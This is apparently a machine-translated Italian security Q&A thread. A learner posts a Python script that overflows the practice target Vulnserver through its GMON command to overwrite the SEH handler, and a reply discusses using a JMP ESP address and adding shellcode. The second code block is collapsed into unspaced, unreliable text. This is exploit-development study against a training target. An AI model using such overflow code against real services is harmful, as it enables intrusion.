Sfruttamento basato su SEH

2

Ho scaricato Vulnserver e voglio sfruttarlo usando SEH. Sono riuscito a sovrascrivere correttamente SE Handler, ecco il codice che sto usando per sfruttare questo programma:

import socket

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('192.168.0.15',9999))

payload = 'GMON /' 
payload += 'A' * (3518)
payload += 'B'*4                # pointer to next SEH record
payload += 'C'*4                # SEH overwrite
payload += 'D'*(5000-len(payload))


s.send(payload)
s.recv(1024)
s.close()

I registri hanno questo aspetto:

Ed ecco la pila:


Dopo di che eseguo !mona seh per trovare una dll adatta da usare, e ho scelto la prima.


Ilmiocaricoutileoraapparecosì

importsockets=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect(('192.168.0.15',9999))payload='GMON/'payload+='A'*(3518)payload+='\xcc'*4#payloadtonextSEHrecordpayload+='\xb4\x10\x50\x62'#SEHoverwritepayload+='D'*(5000-len(payload))s.send(payload)s.recv(1024)s.close()

Dopoaverloeseguito,questoèlostackeiregistri:


Perché non colpisce il punto di interruzione?

Sto lavorando su Windows 7.

    
posta Tryna Learn Somethin 11.05.2018 - 12:38
fonte

1 risposta

1

Potresti chiamare l'indirizzo sbagliato

Le mie capacità di assemblaggio sono un po 'arrugginite, ma penso che tu stia cercando di includere l'indirizzo della DLL caricata in memoria ( 625010b4 ), e non un indirizzo reale che ti permetta di saltare allo shellcode per sfruttare il buffer overflow. Inoltre non hai alcun codice shell. Con questi problemi, anche se hai risolto il problema del punto di interruzione, non otterrai un exploit funzionante.

Apri essfunc.dll nel tuo debugger di immunità e cerca un'istruzione JMP ESP e passa direttamente a quell'insieme di istruzioni nella memoria. Includi invece quell'indirizzo di memoria, non \xb4\x10\x50\x62 .

Problema di punto di interruzione.

Per quanto riguarda il motivo per cui non innesca il punto di interruzione ... puoi chiarirlo?

  • Dove è impostato il punto di interruzione?

  • Il programma non si arresta in modo anomalo e pertanto non attiva il punto di interruzione?

  • Stai effettivamente eseguendo il programma nel debugger?

  • Hai premuto l'icona "play"? Il programma sta eseguendo in il debugger?

risposta data 12.05.2018 - 02:57
fonte

Leggi altre domande sui tag